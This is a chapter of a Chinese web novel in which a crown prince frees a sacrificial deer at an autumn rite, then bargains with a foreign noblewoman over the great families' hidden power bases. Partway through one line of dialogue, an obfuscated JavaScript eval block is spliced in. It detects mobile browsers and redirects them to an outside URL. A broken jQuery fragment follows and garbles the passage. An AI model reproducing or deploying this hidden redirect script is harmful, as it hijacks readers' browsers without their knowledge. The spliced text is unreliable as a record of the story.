立秋当日。山上树叶微黄,一阵微风吹过,树叶脱离枝干簌簌旋落。不需多久,就能覆满西郊。
魏脩身穿白衣,腰佩白玉从落叶上踩过。树叶经过一整个夏天的炙烤,每走一步都能发出脆响。
身后百官循着他的脚步,白衣、白辂、白骆、白旗……一片素白浩浩荡荡。风儿吹过,衣摆翩跹,露出白衣遮掩下的绛红衣角。
鼓乐声声,混着秋天的瓜果香,肃杀中倒是暗藏着几分丰收喜悦。
阮愆身兼三公郎站在祭祀台上,手中捧着时令文书,缓缓展卷。
“魏淮帝禄和三十五年,岁次庚寅,六月丁未朔。谨以玉帛牺牲,昭告于西方白帝之神……命有司修法制,缮囹圄,断刑狱……讨不臣,安黎庶……凡我邦国,各恭其事,以承天休。”
阮愆的声音渐渐散落在郊野。祝文宣读结束,阮愆伏地拜受御酒。
祭祀一结束,鼓乐之声陡然一变,金鼓齐鸣。魏脩带领百官褪下白衣,露出绛红色的戎装。侍从牵过一匹雪白的战马。魏脩手持缰绳翻身上马,驰向早已围好的猎场。
猎场圈有麋鹿一只,高昂的鼓乐之声将它吓得在猎场里撒蹄四奔。
魏脩拈弓搭箭,瞄准麋鹿。麋鹿是献祭给祖先的重要祭品,也是秋杀的第一箭。
魏脩松开弓弦,又连搭几箭。他没有射向麋鹿,而是射向了猎场的金锁。
破空的利箭将锁链金锁射断,麋鹿在回响的弦声中逃离西郊。
太子释放祭品的消息传到阮愆耳中。她瞪了其她礼官一眼。
闻言百官哗然,质疑声开始在百官中传播开来。周汀兰一脸幸灾乐祸的模样看向阮愆。
阮愆强压着怒气,在脸上挤出一个微笑出来。她五体投地,向魏脩所在的方向跪拜。阮愆口中大喊着:“皇天无亲,惟德是辅。至仁吾君,释麛归林。”
魏脩将祭品放生,按礼法当是“大不敬”“渎神”,奈何魏国的礼法握在阮愆手里,礼法由阮家解释。
阮愆一跪下,文官团队纷纷跟上她的节奏,也朝着魏脩跪拜。口中大喊:“皇天无亲,惟德是辅。至仁吾君,释麛归林。”
周汀兰不屑地冷笑一声,掀开袍子跪在地上,朝着魏脩的方向叩首。
“麋鹿怀麛,按律不可杀。释鹿归林,逐鹿四野。先祖仁德,不会与我们这些晚辈计较的。”魏脩骑着白马返回祭台下,他抬手笑着喊道:“诸君请上马,与孤一同逐鹿四野!”
红衣白马,身上还背着弓箭。比起平日的收敛,今日的魏脩可以说得上是张扬放肆。
太子素日沉静,初次邀约事出突然,众人并没有找到可以拒绝的理由。且迎秋仪式中本就有“扬威武”的环节,周汀兰一众武官倒是不介意。她们翻身上马,紧随在魏脩身后。
而那群文官为了维护太子威严,自然也不会让太子的命令落在地上。
就这样百官接连上马,一串人跟在魏脩身后。
魏脩骑得快,身后百官还没有追上来,他停在河边。双手舀着河水解渴。
“蠢货!快上马,别失了太子威仪!”阮愆的马从魏脩的头顶上掠过。踏碎的石子落在魏脩脚边。可能是迎秋所致,那些言辞倒没有那么严厉。
魏脩胡乱擦嘴,跟上阮愆。
人群中不知是谁喊了一声,“殿下!林中有猞狸,你我一起同行啊。”
魏脩勒缰,追上那人,“来也。”
岫原西郊,君臣逐鹿,笑语四野。
魏脩追逐一只鹰隼来到竹林僻静之处。鹰隼原先擦着树枝低飞,可一到此处便消失的无影无踪。
魏脩干咳一声,小声试探着呼唤道:“东风姊君?”
话音未落,一只利箭破空而出。魏脩紧握缰绳,下腰后倾。
利箭钉在他身后的树枝上。魏脩抬眼看向那只箭,顺着箭羽的轨迹,起身拈弓搭箭,朝着竹林深处盲射几箭。
他张着弓,轻夹马腹。马儿朝着竹林茂密处缓缓逼近。
魏脩箭尖始终紧绷着没有松手,他小声呵道:“哪里来的小贼,速速现身。”
话音未落,密林上又传来一声尖锐的鹰唳。魏脩决心就要盯着那处密林,并没有管身后的声音。
“出来!”魏脩深呼吸,指尖被弓弦勒得开始颤抖。
一道清丽的笑声从密林处传来,玄色裙角缓缓移出那漆黑的竹林。
庾东风从暗处走出,她歪着头笑道:“为什么不觉得我会换位置?”
魏脩将弓箭放下,利落下马。他先是微微颔首,随后自嘲笑道:“东风姊君在万国书院就以懒惰著称,不会为了我变换位置。”
“你倒是很了解我。”庾东风挑了挑眉,问道:“不怕我了?”
魏脩咽了咽口水,眨眨眼看向别处,“怕。”
慌乱之间魏脩才想起正事,他连忙开口说道:“姊君请上马。诸位大臣玩累了,会自己回朝。我只要在晨昏人定时分回宫即可。”
庾东风眯着眼睛笑了笑,毫不客气就骑上哪批白马。魏脩牵着马,一小步一小步循着光亮处走。
“姊君,我知道万国书院时,是你送我回来的。”
“嗯?什么时候的事情。”
“就是阳媚三十四年,万国书院为贺妖帝诞辰而举办的那场马球比赛。我在民滋山上晕倒那件事。”
庾东风笑笑,“我只是发现了你。不是我背你回来的。”
魏脩沉默片刻,“那也很出色。姊君打完马球自是劳累的,不愿意费力也是情有可原。”
庾东风坐在马上,她垂眼看向魏脩。魏脩小时候就不爱说话,今日说这么多话倒是也好玩。
她挑了挑眉头,“不用续旧情,你直说吧。天晚了,我家沙炽星就要全城检索我的痕迹了。”
魏脩牵着马,脚下渐渐停顿。他双手搅着缰绳,目视前方,强装镇定,“东风姊君,我不算差劲吧?”
“不算,但……”庾东风故意拉成声音,俯身将手支在马脖子上撑着自己的头,“但……”
“但什么?”魏脩压抑着内心的焦急,抬眼看向庾东风,又在对视上的那一刻将头低下。
“但你为什么要问我呢?”
“因为东风姊君是我想要活成的样子。”
庾东风撇撇嘴,“那不可能。人生路径是永远不可复制的,任何细微的差别都会在后面分裂出无数条岔路,岔路越多你和我的距离就越远。你能学到的只有我的视角、我的眼光。”
“什么视角?什么眼光?”
庾东风微微一笑,“大不了一死。死了就死了。”
“那亲人呢?你不管宫禧了吗?”魏脩疑惑问道,“我是说,你不忧心牵挂你的人会伤心吗?”
“牵挂我的人会因为我获得解脱庆幸才对。实在舍不得我,觉得人世间没有什么可留恋的,可以和我一起死啊。”庾东风说得轻松,她摊摊手,眼眸中似乎空无一物。似乎没有什么是她牵挂的。
庾东风随后拍拍魏脩的肩膀,“你就死得更轻松了。你身后空无一人,你惹事了阮愆会弃车保帅。既然你已经没有什么可以失去的,为什么不博一把?”
魏脩轻笑,牵着马儿继续走,“东风姊君真是一个胆大的赌徒。”
“如果不敢赌,不敢输,不敢为。那就坦然接受自己没有胆识、坦然接受自己的平庸咯。否则会很痛苦,自古有舍才有得。不劳而获值得欢喜,但是自己不劳,不获的时候就不要自怨自艾,那多多少少有点贪婪了。”
“东风姊君这些话,是否有些傲慢了?不是所有人都有机会获得下注的资格,有些人天生就被排挤在赌桌之外。”
“亲爱的太子殿下,可你没有啊。我这些话不是说给所有人听的,是说给你听的。”庾东风眯着眼睛继续说道,“而且赌桌内外各有自己的活法。子非鱼,安知鱼之乐,每个人都会找到自己的出路。且不说是生路还是死路,你为什么要提前可怜别人的命运,她们未必有你惨。”
魏脩弯起嘴唇,“姊君,骂点有点脏了。有点心痛。”
“忠言逆耳。”
魏脩垂下头笑出声来,“多谢东风
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752281|202383||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
姊君。”
西郊的斜阳昏黄,魏脩牵着马渐渐远离那漆黑的密林。郊区小道上,两人一马的身影在地面上拉长。魏脩无声牵着马,看向脚下,心中纠结着要不要询问庾东风。
与其说是询问,不如说是请求。请求庾东风不要插手,让他赌一回。
魏脩抿抿嘴,他开口问道:“东风姊君何时回周国?”
“想回的时候回。”
“什么时候想回?”
“不乐意告诉你。”
“求你了求你了。”
“等我打通商路就回。”
“打通商路是不是还有些细枝末节没有顾及到?东风姊君可否交予我?”
“你想要什么?”
“我要制衡四大家,姊君能不能不要插手?”
“……”
庾东风挑了挑眉。她正背着夕阳,脸上没有什么光亮。魏脩也不敢抬头。
那些细枝末节的事情她可以自己做到,若是交给魏脩,时间没法保障,还有欠他一个人情。实在是不划算。
庾东风正要拒绝,谁料魏脩开口说道:“四大家都有自己的保底策略,祁家有猰貐、宫家有大羿、阮家有洛神、周家有朔望。几百年的斗争,魏氏也有,我可以用魏氏的保底替你通商。”
“哦?仔细说说。”
“魏氏与四大家分庭抗礼多年。重心早就搬离岫原,远在禾州的禾西八家,是魏氏当初留下的。祁家在军、宫家在商、阮家在礼、周家在闻,禾西八家在粮。”
庾东风笑了笑,“难怪魏翎翊春伐的时候粮草跟不上,原来是禾西八家搞的鬼。”
“四大家各自知道对方都有保底吗?”庾东风问道。
魏脩摇摇头,“四大家互不知晓。”
“那你是如何得知的?你怎么知道你的消息可不可靠?”庾东风抢过缰绳,作势就要自己走,将魏脩扔下。
魏脩赶紧抓住缰绳,“周睦!尚书令周睦!他是周家人,他负责的密令涵盖整个魏国的政治。祁家的猰貐、阮家的洛神,她们都已经摸清。”
“果然还是自家人知道怎么防着自家人哈,周家自己的朔望都没摸清楚,居然摸出了祁和阮。”庾东风笑着将缰绳松开,魏脩获得喘息的机会,把缰绳稳稳握在自己手里。
“宫家的呢?没摸清?”
魏脩抿了抿嘴,“宫家撤出魏国期间,魏槐安曾派人前往熙攘山庄旧址,也就是现在的无漾山庄。一无所获。”
“在湖底。”庾东风笑得眉眼弯弯,那双狐狸眼瞥着魏脩。魏脩被盯得不寒而栗。
随后她又轻笑道:“告诉你你也进不去。就像你们知道了猰貐和洛神却依旧无法下手一样。一个家族百年的积累,其可怕之处就在于,就算你知道计划的所有步骤,你依然无能为力,只能被安排的份。”
“而且,周家的朔望我倒是认为最好撬开且最有利用价值的。无论是太子党还是公主党,狡兔三窟就是为了不让一整个家族覆灭。也许两个派系早就达成共识,对外统一口径,就说不知道。依傍信息而生的家族,当然知道什么该说什么不该说。就算分裂,就算成为政敌那也是为了家族的延续,如果将朔望全盘托出,那狡兔三窟还有什么意义?”
庾东风话音落地,魏脩怔愣许久。他木讷地牵着马继续向前走。
身后的远山在夕阳下只剩下一个轮廓。青黄的光辉越过山峦洒在湖水上。平静的湖面倒影着两人远走的背影。
“太子殿下看来在魏国受的苦还是太少了。不说这些了,”庾东风仰头长呼一口气,伸了个极具韧性的懒腰。她笑着问道:“四大家的保底都有名字,你们魏氏叫什么?”
魏脩被她说得有些愁眉苦脸,他撇撇嘴,“神农。”
庾东风双手枕在脖子上,她顺势倒在马背上,懒散开口,“神农啊。禾西来一场天灾,你的神农不就死了吗?”
“神农不是只有粮食收成,还有种植技术、防蝗技术、粮仓、粮道、控制粮价!”
“哦~你急了,看来真的很脆弱哦~”